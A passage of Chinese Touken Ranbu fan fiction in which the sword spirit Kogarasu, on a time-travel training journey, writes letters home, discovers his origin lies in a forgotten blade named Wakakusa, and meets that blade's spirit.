他当场开盒,发现源氏居然送了一把普通的太刀,敷衍至极,不把他平氏放在眼里,勃然大怒,直接提起此刀斩杀了源氏的仆从,随后将此刀折断。 这不对吧? 这不对吧! 小乌捂住头。 他的记忆这和他的记忆完全对不上! 他在哪里?为什么不在平氏? 如果他并没有被送出去,那他之后应该在哪里? 对了! 小乌突然想起坛之浦合战时,在打扫战场的时候他曾经有寻找过他的本体,但是并未找到。 如果、如果并不是没有找到,而是他的记忆出现了问题呢? 但是,小乌这振刀是他亲自设置的,无论下场如何,至少被送入平氏应该是必定的! 他不在平氏,又能在哪? 新髭切还在修复中,目前似乎没有什么事要做了。 小乌先提笔写了一封书信传回: 致本丸的大家和时之政府的工作人员 我来到了长承三年,今晚过后,髭切大人就会改名为友切了。所以我潜入了源氏府邸,打算亲眼见证友切事件的发生。 但是在过程中却有奇怪的时间溯行军闯入,外形近似人类,黑白双色的长发和狩衣,左脸覆面,刀种为太刀。能人言,但无法理性交流,意图疑似阻止友切事件的发生。 与之交战,击落面具,发现这个时间溯行军面具下的半张脸和我一摸一样所以我推测,这个时间溯行军恐怕与“小乌”这振刀有关,特此报告。 更令我不安的是,历史的走向似乎出现了异常。 首先,有一个好消息是我知道了我被斩断刀尖前的名字。(此处出现了一个圆圆的墨点,像是笔尖停留了许久晕成的)叫作新髭切。 但在新髭切被送走修复后,源为义命人寻来了一振毫不相干的普通太刀包装献给了平氏,平忠盛大怒,折断了此刀。按照我的记忆,被送入平氏的刀应该是我才对,这让我想起了在坛之浦合战时,曾经寻找过我的本体,却没有找寻到。 我开始迷惑,不知道到底是历史出现了问题,还是我的记忆出了问题 如果在你们收到信后没有向这个时间线派遣部队的话,我就认为历史的发展并没有问题了。 如果这样的历史才是正确的,那我的记忆又有几分可信呢? 我现在甚至无法确定,那振新髭切究竟是不是未来的我。 “我”到底在哪里? 小乌坐在一棵枝丫茂密的大树上,放下笔,呼出一口气,将信纸折叠好放入信封,通过时之政府的科技投递了出去。 离新髭切修复完成的时间点已经很近了,他很快就能知道答案。 所以,冷静一点吧。 小乌重新戴上了斗笠,跳下树。 难得来一趟平安京,多逛一逛吧。 第63章 第六十三章 极化书信二:若草…… 时之政府那边迟迟没有动静。 这意味着, 在他们看来,历史并未出现需要干预的异常。 哈 小乌的心情难以抑制地变得有些糟糕。 他抬手用力拍了几下自己的脸颊,试图让自己振作起来。 今天可是“新髭切”重铸完成、送还源氏的日子! 之所以说是重铸而非修复, 是因为友切发生后, 源为义认为新髭切是一把瑕疵品, 才会因此断掉刀尖,所以干脆舍弃了断掉的刀尖,重新找了其他技艺高超的刀匠来进行重铸。 因此,当小乌再次见到这振太刀时, 它的长度已然缩小了一小截。 刀匠恭敬地将太刀奉上t?,源为义拔刀出鞘, 举起对着光线仔细端详。 悄悄站在源为义侧后方的小乌也探头望去——上次使用了结界术后才知道阴阳术有多好用, 多亏这一段时间没有白闲着,刻苦练习了隐藏身形的法术,这才能大摇大摆地站在众人眼皮子底下而不被发现。 重铸后的新髭切刃长二尺三寸六分,刃纹为直刃带小散乱,黑色露齿鲛花纹,刀身上铭刻着“包次” 二字。 结合刀匠与源为义的交谈, 小乌震惊地得知, 负责重铸新髭切的刀匠,竟是古青江派的青江包次 铭文完全不同。 拔出本体, 指尖拂过刀身上的“髭切”二字。 除此之外, 两者的刃纹也截然不同。 这振新髭切 根本就不是他! 一颗心从浪尖猛地跌入谷底。 小乌本以为找回了自己曾经的名字, 花了数日去笑话和接受真实的历史与自身记忆的偏差, 甚至为新髭切并没有被当作羞辱平氏的礼物被源氏抛弃送走而感到高兴—— 却万万没想到,这振刀并不是他。 从头到尾,经历友切、被重铸的都不是他小乌! 那他算什么? 他又是谁? 明明在源为义的授意下, “小乌”的传闻已经传遍了源平两家,但其本体却从未见到过真实的存在。 简直就像幽灵一样。 咦? 这种只有传闻,却没有实体的情况,似乎有些熟悉 小乌冥思苦想,一个模糊的概念在脑海盘旋,却始终无法抓住它。 就在这时,他听见源为义忽然哈哈大笑起来,看起来对重铸后的新髭切很满意。 “新髭切这次回来,倒是和髭切没有什么相像之处了。”源为义将太刀收回鞘中,捧在手上,“既然如此,还叫新髭切就有些不妥,也该有个新名字了。” 青江包次连连称是,源为义沉吟片刻,道:“此番重铸也算是迎来了新生,犹如初春萌发的嫩草,看似柔弱却坚韧不息,不如就命名为——” 若草。 他随即吟诵了一句和歌: 生ひ立たむありかも知らぬ若草(不知能否长大的嫩草)①《源氏物语》 又是一个闻所未闻的新名字。 小乌开始对这振刀产生好奇。 它究竟是何人所锻造,又曾经有过什么样的故事呢? 他的思绪跳跃到看见失去面具的时间溯行军的那一刻。 那张陌生的脸,是属于谁的? 结合眼前这振真正经历过友切的刀,答案呼之欲出。 是若草吧。 可是,为什么一具躯体上,会出现两张截然不同的面孔?又为什么要对着他说把名字还给他? 明明“小乌”连实体都未出现。 总不可能是若草更喜欢小乌这个名字吧? 哈哈,怎么可能,pass! 亲眼见证友切事件的发生只是一个开端,小乌还有很多困惑需要在这一场修行之旅中弄清楚。 他眼睛一转,挑选了一个负责保养刀剑的仆从将他打晕,自己用术法伪装成他的模样和一起工作的人打探若草的信息。 自从上次友切发生后,负责巡逻和养护刀剑的仆从就换了一批新的,小乌挑了个年轻看起来不大的小孩,假装不经意地问旁边的人:“没想到为若草重铸的居然是青江包次大人啊!也不知道若草大人一开始是哪位刀匠锻造的,手艺如何。” “当然还是青江包次大人了!”旁边的人略带倨傲地轻哼一声,“你以为新髭切为什么会被重铸?我记得源满仲大人颇为喜爱髭切,希望能够拥有更多像髭切一样优秀又锋利的刀,所以请了刀匠舞草行重作根据髭切所作。锻出后,刀匠也极为自信地将其命名为新髭切。” 新髭切确实是一把好刀,人们为之赞不绝口,曾经还被传给源义家作为珍宝,源为义也将其同样奉为源氏重宝同髭切放置于同一个刀室。 “可惜,现在鬼切毫发无损,新髭切却断了。” 说明也不过如此。 仆从眼里闪过讥讽。 “鬼切才是货真价实的源氏重宝!” “原来是这样。” 小乌装出恍然大悟的样子,对于仆人具有明显偏向的言论未予置评。 这么听起来,如果若草有了意识,也许也会憎恨那一晚的意外也说不定呢。 毕竟它可曾经是同样被源氏奉为重宝的刀啊! 若草,若草。 这个名字究竟指的是代表新生的嫩草呢—— 还是指的是随处可见、没有了价值的野草呢? 想将这个历史继续看下去,想要知道更多。 小乌决定,自己接下来的修行,要跟随若草的痕迹。 他也想看看那个时间溯行军还会不会出现,目标又是不是若草 致本丸的大家和时之政府的工作人员: 源为义死了,被其子源义朝亲手处死了。 “父为子所斩,子斩其父,皆为宿业之拙,可耻可恨!”②《保元物语》 编造小乌的谣言挑衅平氏,又有什么用呢?依然在两家的斗争中失败了。 若草和髭切都到了源义朝的手上 听起来好像也不是什么坏事,对吧? 但是源义家从来没有使用过若草,只是当作一件贵重的装饰品。 他只使用的髭切。 对于刀来说,这是一件很难过的事。 虽然我并不是若草,但是旁观的我感同身受。 接下来和髭切分开,传给了源义经,兜兜转转,居然和膝丸相遇了 但是源义经也只使用了膝丸。 为什么? 后来我才明白,是因为若草曾经折断过刀尖。 因为曾经折断过,所以若草的主人们才会心生顾虑,战场上生死搏杀,毫厘之差便可定胜负,谁都不想赌这把刀是否还能承受住激烈的战斗,导致战场失利。 若草在他们的眼里仿佛只是一个脆弱的装饰品。 但明明他是作为实战刀被打造出来的,放在战场上,一定会是一把实用的好刀! 但接下来的时间里,若草不停地辗转在不同的主人之间,依然从未被使用过,它只是一个装饰品 说起来,我想起以前遇到义经公时,鹤丸曾经说看见义经公的营帐中有两把刀,他让我假装是除薄绿外的另一振刀。 坛之浦合战的时候,我特意去确认了,确实是这样,义经公的营帐中放着薄绿和若草。 我当时用的是若草的身份。 原来真相曾经离我这么近。 现在回想一下,当时的鹤丸,是不是已经知晓了什么 那个时间溯行军又出现了。 它变强了。 它这次的目标是膝丸,它似乎想让膝丸消失。 我对它喊了若草,它有反应,让我更加确信这是若草。 因为我发现它似乎觉得只要膝丸消失,源义经就会使用若草了。 唉。 我将它击退了,它又消失了,很久都没有出现过。 然后是箱根奉还 我还是没有发现任何关于自己的踪迹,只有当初的谣言昙花一现。 “我是谁?” 这个问题如影随形,一直纠缠着我,挥之不去。 我开始迷茫,我感到恐惧,如果真实的历史只有若草没有小乌,那我存在的根基在哪里呢? “咔擦咔擦” 正埋头伏案书写信件的小乌并未察觉,他脖颈上缠绕着的绷带下,出现了几条细小的裂纹,正在以缓慢的速度向上蔓延,探出了绷带的覆盖范围。 第64章 第六十四章 极化书信三(上):歪曲的…… 致本丸的大家和时之政府的工作人员: 唔, 让我算算啊啊,从上一封信结束到这封信的开头大概又过去三四百年了,我跟着若草来到了安土桃山时代。 在写第三封信之前, 若草又换过了很多主人呢现在来到了吉川元长的手中, 但并没有呆上多久, 就被吉川元长捐赠给了艺州严岛神社。 我记得,这个神社一直到未来都还存在着对吧?在本丸的时候似乎有在资料中看到过,这么以来,是不是代表着若草接下来的日子就可以不再漂泊, 一直安定地呆在神社里了呢? 啊,忘记说一件不幸的事情了。 当若草辗转到吉川元长的手中时, 已经没有人知道它的名字了。 所以被送到严岛神社后, 也只能以“太刀铭包次”这样的身份被登记在册事到如今,人们已经无从得知这振刀的真实名字了。 名字。 那个时间溯行军对名字的执着,是否有几分是因为这个呢? 我好像找到了一点线索,但依旧没有什么头绪 小乌晾干纸上的墨迹,将信纸仔细收好t?。 这时最后一封信了,他并不打算只写这么一点点就寄出去, 而是准备再多记录一些见闻, 直到修行临近重点时,再一并送出。 一年、十年、百年、千年。 小乌跟随着若草的轨迹, 跋涉过漫长的时间长河。 这场跨越了千年的旅行, 早已将他前世身为人类时的大部分记忆冲刷得愈发淡薄。 如今的他, 已经彻底融入了刀剑付丧神这一身份, 过去的残影变得模糊而遥远。 怪不得髭切总是说过了千年,很多事情都记不得了,时间真是记忆的杀手。 对若草也是, 对他也是。 嘛,不记得也没什么大不了的。 毕竟他也不可能再重新变回人类。 彻底适应现在的生活,对他才是最好的。 只要活着,总是会为了适应生活环境而改变,不是吗? 已然切实走过千年的小乌,心境也逐渐成熟。 他的外表虽然从未改变,还是少年模样,但眉宇间的气质却肉眼可见地成熟了许多,褪去了修行初期的稚嫩。 如今任谁看,都不会有人将他当作是一个孩子了。 自从若草被送入严岛神社后,便不再离开神社,安安稳稳。 神社是个好地方啊—— 小乌对此还是为若草高兴的,至少它能够被好好地保存下来。 冷兵器的时代开始落幕,刀剑退出历史的舞台。 小乌明白,或许再这样跟随若草走下去,直到他来自的那个未来时间点,若草都不会有什么新的故事了。 这样就可以回去了吗? 不,不可以。 心结已成,若不能解开,即便回去,也只不过是延缓消散的时间罢了。 小乌伸出手,手背上的裂痕横陈在光洁的皮肤上;扯开衣领,数道新鲜的裂纹,正在向上蔓延,已经越过了绷带,向下颌线进发。 他的灵力在慢慢流逝,他的身体在慢慢崩坏。 身体出现的恶兆在提醒他,极化修行正在走向失败。 因为他在怀疑自己的存在。 小乌不是一把真实的刀,只有昙花一现的逸闻,为什么他能作为刀剑付丧神好好地出现在这个世界上? 小乌知道他到底是怎么来的,但也不知道这个世界为什么会允许他的到来。 是不是太儿戏了一点? 所以,小乌继续静静地陪伴着那振被世人遗忘了名字的太刀,一路走到了现代。 2025年。 呀~真是好久没有体验过现代生活了。 小乌穿着现代服装,完美融入一群网瘾少年的群体中。 他脚下一蹬,带轮子的座椅便吱嘎吱嘎地带着他原地转了两圈。 因为经历了太过久远的时光,导致小乌被监控和逐渐完善的身份系统逼得终于决定混入现代社会的时候,像个老古董一样摸索了好一阵智能手机和电脑的使用方法。 好在有底子,上手得快。 他仰头靠在靠背上发了一会呆,望着天花板发了一会呆,整理着纷乱的思绪。 过了片刻,又重新坐直身体,将目光投向电脑屏幕。 他在看同人文。 嗯刀剑乱舞的同人文。 哈哈,这个世界的现世也同样拥有刀剑乱舞的游戏,只不过区别就是这些游戏实际上是时之政府投放的广告。 刀剑乱舞的tag里面还有不少是关于“小乌”的同人文。 哎呀,真是怀念。 他恍惚记起,自己当初似乎就是因为看了许多关于“小乌”的同人创作,才在游戏中自设了这么一个角色,只是当时具体是怎样的心情和想法,已经想不起来了。 源平战争啦女性的小乌啦被描绘为邪神眷属的小乌啦各种题材应有尽有。 虽然世界不同,但人类的想象力和创作热情真实一如既往地大和高。 虽然现在的小乌本刃已经体会不到当初看这些同人文的激情了,他觉得不中 以前是以前,现在是变啊不是,现在是现在。 现在的他可是本刃,再看这些就有点消化不良了。 不过可以清晰地从这些文字和图画中感受到这些创作者对“小乌”这个角色倾注的喜爱。 甚至很多人会在网络论坛或者社交软件上热切地讨论着,期待着“小乌”在游戏中实装,或是在现实中能够发现“小乌”的本体。 他们是发自内心地坚信着:小乌是真实存在的 在这场修行开始以前,他也是这么认为的。 大概是身份不一样了,看这些的心境也不同了。 不知道为什么,看过这些之后,小乌越来越不敢去见若草了。 只敢每日偷偷地望一眼,不敢在到它的跟前去 “啪!” “痛!” 小乌捂着被扇子敲打的脑袋,又懵逼又愠怒。 “为什么打我?!” 一文字则宗收手展开扇子,对自己摇了摇:“完全不开窍呀,小子。” “明明是你说的话很难懂!你指的爱到底是什么啊?为什么走样的东西才能生出美感?” 唉,小孩。 一文字则宗摇扇子的速度加快了。 小乌要去修行,鹤丸国永跑过来请他写信,膝丸跑过来请他帮忙和小乌谈心。 嗯嗯~老头子喜欢谈心这项工作。 但是太愚钝也是会让刃生气的。 面前这个,还有加州那小子都是! 一文字则宗:“果然有些事只有切实地体验过后才能明白吗算了,你听说过我的故事吗?” “故事,指的是?关于冲田总司的那个吗?” “没错!就是那个!” “你对这个故事怎么看?” 一文字则宗侧过头来看他,粉蓝色的眼睛在阳光下变得透明。 这是什么?老年人喜欢的让我考考你? 小乌一边暗地里吐槽,一边老老实实地思考答题:“唔嗯” 既然你自己提,那我就大胆说了嗷! “很多人说,菊一文字是后鸟羽天皇的爱刀,价值万两,以冲田总司的身份地位,是不可能拥有菊一文字的。” “但是世人仍然认为我是他的佩刀,并且认为这种走样是‘美’的。”一文字则宗停止了动作,长舒一口气,“我的显形深受影响,力量也因此变得更加强大这也是一种爱呀。” “诶?” “正是通过扭曲之处,才能感受到里面参杂着人类的意识啊。” “诶??” 完全没听懂! 你这老头又在叽叽咕咕什么! 小乌怒。 一文字则宗:“呵呵~修行前,我一直认为爱真是束缚我们的枷锁,但是修行途中,我去见了冲田总司,认识了那个我只在故事中的男人。” “然后我突然觉得,就算被束缚着,那也是爱呢。” “我啊,是被爱着的啊。” 所以坦然接受了。 “” “没关系,你以后会明白的。何谓美,何谓爱。” 爱。 小乌单人小床上坐起,捂着眼整理了一下思绪。 歪曲的爱啊 源为义为若草捏造了小乌的谣言,那是爱么? 看到人类为小乌创作的作品,小乌好像突然理解了一点一文字则宗口中所说的“歪曲的爱”。 髭切的仿刀,被髭切切断,人们臆测小乌和髭切的关系是朋友、是兄弟,是仇敌、是嫉妒膝丸的恶鬼。 被送入敌对家族,被斩断、或被沉海。 这振不存在的刀被人们附上了子虚乌有的故事,背负了充满悲剧和恶意的情感。 这也是歪曲的爱么? 他不理解这美在哪里。 “呼。” 总感觉最近的心理状态越来越糟糕了。 修行进度不佳,身上的裂纹带给他紧迫感,死亡在迫近,他的精神压力很大。 而且最近又发现了那个时间溯行军的踪迹。 他总是游荡在严岛神社附近,让小乌很担忧。 但是追击了几次都被他逃掉了,像是在他安了一个雷达,他还没有靠近就察觉到了。 可恶! 越来越近了! 小乌再次追丢了时间溯行军,这一次居然让他跑进了严岛神社,然后突然就失去了踪影。 总之,先去查看一下若草有没有问题吧。 想到要去见若草,小乌就感觉双腿变得沉重起来。 他在害怕。 但是不知道在害怕什么。 不想去见若草。 不敢去见若草 我来到了现代2025年。 那个时间溯行军又出现了,行动范围一直在向若草所在的严岛神社靠近,我很担心。 但是不知道为什么,我开始害怕与若草见面。 为什么会害怕?连我自己都不清楚 t?但是我还是要去见若草了。 我必须得保护它。 因为我是以若草为原型而诞生的刀。 那么,之后的事,等我接下来有空了再继续写完这封书信吧。 第65章 第六十五章 极化书信三(中):和我融…… “跟我当初的情况有些相似呢。” 今剑坐在岩融的怀里晃了晃腿。 “一定要好好地回来啊, 小乌。” 他的脸上露出担忧的神色。 几刃围成一圈,看着摊开放在桌面上的两封书信。 字里行间仍是熟悉的笔触,但是叙述的语气和思考的角度和深度不停地在根据书写的时间变化着。 “是啊虽然我们这里才过去几天, 但是他那里已经过去千年了呢。”鹤丸国永撑着脸趴在桌子上, 占了一大块位置, 语气里带着几分感慨,“但是只能从信中得知,不能亲眼看见小乌的成长,真遗憾啊——” “这也是没办法的事。”膝丸把他推远点, 挡着视线了。 髭切接口:“哈哈,这也代表了有很多收获嘛, 就是不知道回来后名字会不会有所改变呢?” “兄长” 膝丸欲言又止。 “按照信中对那个时间溯行军的描述来说, 小乌要是改了一个名字我们才要真的要头疼了。” 像是将两把刀融合在一起的时间溯行军 “说的也是。” 髭切一拍大腿:“好!幸好准备了后手,大家的信也可以派上用场了呢。” “唔呣,都在这里了。”小乌丸拿出一个厚厚的信封,将它放在桌面,向前推了推。信封被塞得鼓鼓囊囊,快要爆开了, 看得出里面塞满了本丸众多刀剑付丧神们的心意。 “那就只差我和兄长的了。” 膝丸拿出自己的信, 又向髭切伸出手。 “啊,稍微等一下。” 髭切却避开了他的手, 拿出信纸和笔, 咬着笔帽拔出, 开始在信纸上写写划划。 鹤丸国永好奇地探头去瞅瞅:“是突然又想到什么要增加的内容了吗?” 髭切大大方方地让他看。 鹤丸国永还寻思着他就做个样子怎么还真愿意给他看, 结果当他信纸上除了髭切刚写下的几个字外几乎一片空白时,惊得差点跳起来:“这可真是吓到我了!你这不是一个字都没写嘛!” 这会临时写会赶得及吗? “放心放心。”髭切嘴里咬着笔帽,含含糊糊地说, 笔下不停,“其他的早就写好啦,只是有点不确定的内容,需要先看过这孩子的书信才好下笔呢好啦!” 他写的内容不多,结束最后几笔,又掏出已经写好的信件叠在一起,这才递给膝丸。 膝丸将他们兄弟俩的信费劲地塞进信封中,信封又膨胀了一点,好在是能够经历时空穿梭的考验的信封,质量杠杠的,没有当场裂开给他们看。 一文字则宗在一旁跷着腿,用扇子轻敲掌心:“甚好甚好,就让大家的爱来指引迷途的孩子找到归家的路吧!老头子真是太感动了。” “” 空气安静的一瞬。 大家都开始各自做各自的事,最后还是加州清光心直口快地吐槽:“这什么话啊好恶心——你最近是看了什么电视剧吗?” “你个臭小子!” “沙沙” 夜里的神社几乎没有人活动,非常安静,也方便了小乌的行动。 他找到了若草所在的收藏室,仔细检查过后,确认一切正常,若草安然地躺在展柜中。 小乌犹豫了一下,但为了若草的安全,还是决定在这里守候。 他施展术法使人类无法察觉到自己的存在,然后低头盯着地面走到了若草的展柜背面,靠着坐下。 抱紧双膝,将下巴搁在膝盖上。 月光透过窗棂,在地板上投下光斑,小乌看着那些光斑发呆。 突然,他感觉到背后的木板在震动。 小乌:? 疑惑地转头,手贴上去。 确实在震动,但是震动的源头并不是底下的基座,而是 “终终于” 他半蹲起身,拔出本体,抬高视野,看向展柜内部,看到是若草的刀身在震动。 见小乌注意到了它,震动得更加剧烈,甚至开始发出朦胧的白光。 小乌瞳孔地震:等等?!若草是怎么了?!哦对,它早就有成为付丧神的资格了,但是一千年了还是第一次见到这种情况! 光芒越来越盛,最终放大、拉长,勾勒出一个人形的轮廓。 光芒减褪,显现出一位白色长发的青年,面容精致,穿着平安时代风韵的黑色狩衣,由于是灵体,有些地方还是半透明的状态。 “终于,可以和你交谈了。” 青年面若好女,声音也很中性,如果不看外表,难以凭借声音分辨男女。 “你好。” 若草向小乌打招呼。 小乌手中的本体哐当一声掉在地上。 小乌: 小乌:“啊、啊!你好” 他的大脑一片空白。 “你好久没有来看我了。”若草轻飘飘地绕着他转了一圈,小乌的眼睛也离不开若草,跟着转,动作间,小乌发现他的刘海中竟然还有一撮奶金色的挑染,“明明之前一直都在我身边为什么?” 他明明没有做出什么表情,但是配上这番话,湖绿色的下垂眼天然地让他看上去有点委屈。 “不过你还是来看我了。” 若草在他面前站定。 “最开始看到你的时候,我就觉得你很熟悉一直想和你说话,但是直到现在才能化出灵体。” “让你久等了。” “我能感受到,你和我一样,都是刀剑。”若草看着他,“可以告诉我你的名字吗?” 小乌只觉得自己的灵魂和身体仿佛分了家,灵魂还在不知所措,却能听到自己的嘴巴动了起来,发出干涩的声音:“我叫小乌。” “我叫嗯”虽然小乌早就知道他的名字了,但是若草秉持着人类礼尚往来的原则,也想做一个自我介绍,但是在名字上卡了壳,脸上露出几分茫然,“我叫什么名字来着?” 小乌心中一紧,几乎是脱口而出:“若草,你的名字是若草!” “哦对”若草恍惚了一下,“我叫若草。” “你叫小乌。” 他忽然靠近,双手捧起小乌的脸,仔细端详他的五官。 “我知道你,我记得你是” 若草的双眼就像一潭幽深的湖水,小乌的名字似乎丝毫没有使这片美丽的湖水掀起波澜。 这算什么? 小乌像被烫到一般,猛地倒退几步! 他终于承受不住内心的压力,跪倒在地,捂住脸。 就在直视若草面容的那一刹那,小乌脑海中一直紧绷着的那根弦“啪”地一下就断了。 这张脸这张脸! 和那个诡异的时间溯行军的另外半张脸重合了! 是他,是若草。 那个时间溯行军,是融合了若草和小乌形成的怪物! “你为什么还能这么平静?” 小乌声音颤抖。 若草的双手悬在半空,疑惑地歪了歪头。 “什么?” “我是小乌啊!是我是我抢走了本该属于你的故事!后人只知道髭切的仿刀小乌,但是明明你才是!他们也不知道你曾经也是源氏珍视的重宝!” 南海太郎朝尊曾经说过:“与刀剑相关的故事的收集,是重要事项。如果被遗忘了,我们就无法显现了。” 人们越是坚信小乌的存在,若草的存在就会被削弱。 他感觉自己就像一个卑劣的窃贼,偷走了属于别人的历史和荣光。 “我只是一则以你为原型而诞生的谣言,甚至没有真正的实体!世界上不应该有我的存在!” 为什么不敢面对若草? 因为心虚,因为愧疚,负罪感让他无法呼吸。 为什么一振存在了千年,并且在神社供奉了那么多年的刀剑直到现在才能勉强化出灵体? 因为他的存在和世人的遗忘一直在削弱若草的力量! 他不敢想,之前的直播让多少的人知道了小乌的存在,让多少人加固了“小乌是真实存在”的这一概念,对若草又有几分影响。 向他自我介绍,却连自己的名字都记不住。 他无颜面对自己的原型。 “为什么你不讨厌我?” 一个从若草被切断的痛苦中诞生的谣言,诞生出了付丧神。 那个时间溯行军的诞生,又有多少原因是因为他呢? 毕竟那个时间溯行军曾经想要掐死他,说明也是恨透了他,不希望他存在才对吧?t? “对你来说,我是不应该存在的才对” 若草蹲下身平静地看着他:“为什么要把这些怪在自己的身上呢?” “” “故事本来就是由人类书写的,我们的命运并不是你我一振刀可以决定的。” “不是这样的,你不明白” 若草伸出手臂抱住了浑身颤抖的小乌。 这是他刃生第一次用人形进行拥抱。 他还是灵体,没有人类的温度,但是小乌有,抱起来暖暖的。 若草好奇地用脸颊蹭了蹭小乌的头发。 “看到你我就想起了重铸前的自己,稍微有点怀念呢。” “我的大部分时间都是作为收藏品和装饰品,所以很少和人类接触,可能很多事情还不能理解但是我自己的想法和心情还是能明白的。” “已经过去千年了,再浓烈的情感,过了千年的时光,也早就变淡了。” “所以,就算我曾经讨厌过你,也早就不在意那些啦!” 他轻轻拨开小乌遮挡脸颊的手,看到了爬满他脸颊的裂纹,就像即将破碎的瓷器。 “作为一把刀,受到过主人的爱护,经历过千年时光依旧存在于世,除了没怎么上过战场,其实也没什么不好的。”若草小心地用指尖触摸那些裂纹,冰凉地触感让小乌不由自主地打了一个冷颤,“其实我还是很幸运的。” “你要碎了吗?为什么?” 小乌沉默着,不知道该如何解释。 “不要碎掉。”若草说,“你是诞生于我的一则故事,不是吗?” 故事 “谣言和故事还是不太一样的吧。” “是吗?” 若草思考片刻,突然是想到了什么好主意,语气变得轻快了一些:“我有办法了!” 他拉着小乌站起来,后退两步,朝着小乌张开了双臂,做出接纳的姿势。 “因为最近见到的一个刃,我受到了一点启发和我融为一体,怎么样呢?” 第66章 第六十六章 极化书信三(下):奇迹…… “哈?!” 谁启发的?! 不会是! “你不是说, 你是以我为原型诞生的吗?既然如此,其实也算是我的一部分吧?” 若草从头到尾都没有什么明显的表情,但是小乌却莫名其妙地可以迅速地判断出来若草的情绪变化。比如现在他就是真心实意地认为小乌是属于他的一部分, 也是真心认为这个方法很不错。 “你没有实体, 我缺少逸话, 我们融为一体,我们可以共享本体和逸话,怎么样?” 小乌一时没有回应。 他明白了,那个时间溯行军不知道再什么时候已经和若草接触过了!不然不出神社的若草能从哪里想出来这种办法! 再融合出一个怪物吗?! 可恶的时间溯行军, 到底是什么时候! “我拒绝!”小乌深吸一口气,直截了当地拒绝了若草, “我我并不认为我们是一体的, 我认为我们都是独立的个体。我不会侵占你的本体。” 他也有私心,和若草融合后的他,还会是他吗? 对小乌来说,这和死亡没有区别。 太单纯了,若草。 被时间溯行军轻易地哄骗了! 可恶的时间溯行军! “你是不是见过那个长着我们的脸的怪物才这么说的?它对你做过什么了吗?像它那样是绝对不可取的!听我说,它” “我知道。”若草打断他, 语气温吞, “时间溯行军是叫这个名字吧?见到它的第一眼,我就知道, 那也是‘我’, ‘我’是不会伤害自己的。而且我们的情况和它是不一样的, 不用担心。” 诶?哪里不一样? 小乌愣住。 “你好像有些误解。”若草偏头, 白色的发丝如流水一般垂下,“那个‘我’是被强制显性的,它不知道被那个历史修、修” “历史修正主义者?” “对, 被那个不知道用了什么方法,试图通过强制与‘小乌’的概念结合来加强那个‘我’本体的力量,结果却导致了逸闻之间的相互侵蚀和互相争夺身体,这才变成了那样扭曲的怪物。” 见小乌对这个方法有所抗拒,他也不坚持,缓缓放下了手臂,双手交叠置于小腹:“所以我想,如果我们双方自愿、和平地进行融合,结果会不会有所不同。既然你没有这个意向,那便算了。” 原来如此,那个时间溯行军是这么来的 那不就更不能轻易尝试这种方法了! “对不起。”小乌低头握紧拳头,额发垂下,遮住了他的眼睛,“对不起,我没办法接受。” “没关系。” 若草嗓音温和,他向前一步,青年的体型比小乌的少年体更高大,手也更大,可以包住他的手。 好暖和。 若草暗地里当成暖手宝搓了两下,然后说:“我并不认为你是不该出现的,你能够出现,就代表有很多人相信你的存在,喜欢你的故事。我很高兴哦,你是我的故事中的一部分,喜欢你就是喜欢我,而且” “换而言之,我也能认为你就像是我的孩子一样呢,真奇妙。嗯?为什么表情那么奇怪?” 什什什什么! 居然把他当成了他的孩子吗?好清奇的脑回路真是吓到他了! 难道他要叫若草父亲吗?如果这样想的话,另一个父亲是不是可以是编造出他的源为义或者作为友切事件的另一个主人公髭切不对!我为什么要按着这个思维跟着往下想啊啊啊啊! 无论是叫若草还是叫源为义还是叫髭切父亲,这种事情都补药啊! 没等小乌反驳什么,若草又接着说:“对我来说,还有对那些相信你、喜欢你的人类来说,你的出现也是一种奇迹,不是吗?” 小乌怔怔地看着若草,耳根通红。 我的出现,是一种奇迹? 什么啊什么啊! 为什么把他的存在说得那么美好啊! 真的不是在骗他的眼泪吗呜啊啊啊! 若草看见小乌流眼泪了,无措地拿着袖子笨拙地给他擦眼泪:“为什么哭?” “说、嗝、说了那么可怕的话,你居然、嗝、一点都没有自觉吗!” 小乌边哭边打哭嗝,臊得想找条地缝钻进去。 “总之!你能确定那个时间溯行军不会伤害你吗?”小乌现在觉得很混乱,只想先逃离这里。 “嗯,没错。”若草点头,有所察觉,“要走了吗?” “啊嗯。” 小乌避开若草有些失落的眼神。 “好吧,要再来看我哦。” “好。” “不要碎掉。” “” “好。” 小乌在若草的本体周围留下了一个防御和警报的阵法,跑走了。 他跑回了网吧。 他长期包下了一个小包厢,平日里就蜗居在这个小房间里。 他躺在单人床上翻来覆去,始终无法入睡。 奇迹 这也太夸张了吧? 今天和若草的谈话是意外收获,小乌和若草说开了之后心里好受了许多,但是迷茫一点也没少。 时间溯行军的来历真相大白,但是若草的情况又让小乌不知道如何是好。 他强一分,若草就会弱一分,该怎么样才能做到两全其美呢? 说起来,他在前两封书信告诉了大家他是不存在的刀剑,髭切膝丸还有小乌丸,他们会怎么看待他呢? 髭切膝丸认为他是同出源氏的后辈,小乌丸因为那段假的记忆才会对他有一点特殊照顾。 如果他能回去,他们的态度会不会有所变化呢? 他现在好像不知道该做什么了。 也有点害怕回去面对未知的变化。 他该怎么和髭切和膝丸交代若草的存在? 【如果在修行中感到迷茫,不知道该做些什么,那就打开它吧。】 小乌打开了髭切给的御守。 从外面摸就能摸出来一点,里面似乎是一根硬硬的棍子,掏出来一看,似乎是一支哨笛。 小乌将它放到唇边,吹响它。 笛子没有发出声音,但是小乌却能确定它被吹响了。 因为他听到了铃铛的声音。 “叮铃,叮铃” 描绘着红色花纹的鸽子背着一个厚厚的信封凭空出现在了小乌的面前。 它落在床上,将背上的信封亮给它 本来信鸽传递信件一般都是绑在腿上的,可是这个信封t?实在是太大太厚了,所以之后用绳子捆在信鸽的背上送过来。 “噗”小乌哭笑不得地将信封解下,信鸽见他取到了信,咕咕两下就飞走,消失不见。 小乌盘膝坐在床上拆开信封,信纸铺满了床铺其他的空余位置。 粟田口画了很多涂鸦,讲了很多本丸中发生的趣事,烛台切光忠和鹤丸国永端着美食的合照,歌仙兼定为他作的和歌,小乌丸对他在修行中成长的夸赞,七星剑的占卜祝福 厚厚的一打,来自本丸所有刀剑付丧神 我是今剑! 辛苦了!千年的旅行一定很辛苦吧? 其实关于你的身份和来历,髭切殿很早就有猜测了,所以他拜托了我为你写信。 你和我有点像呢,我也是没有实体,被虚构出来的刀,当时修行知道真相的时候,我真的真的非常难过。 我会怀疑和义经公相伴的记忆,怀疑自己获得的爱是不是虚假的。 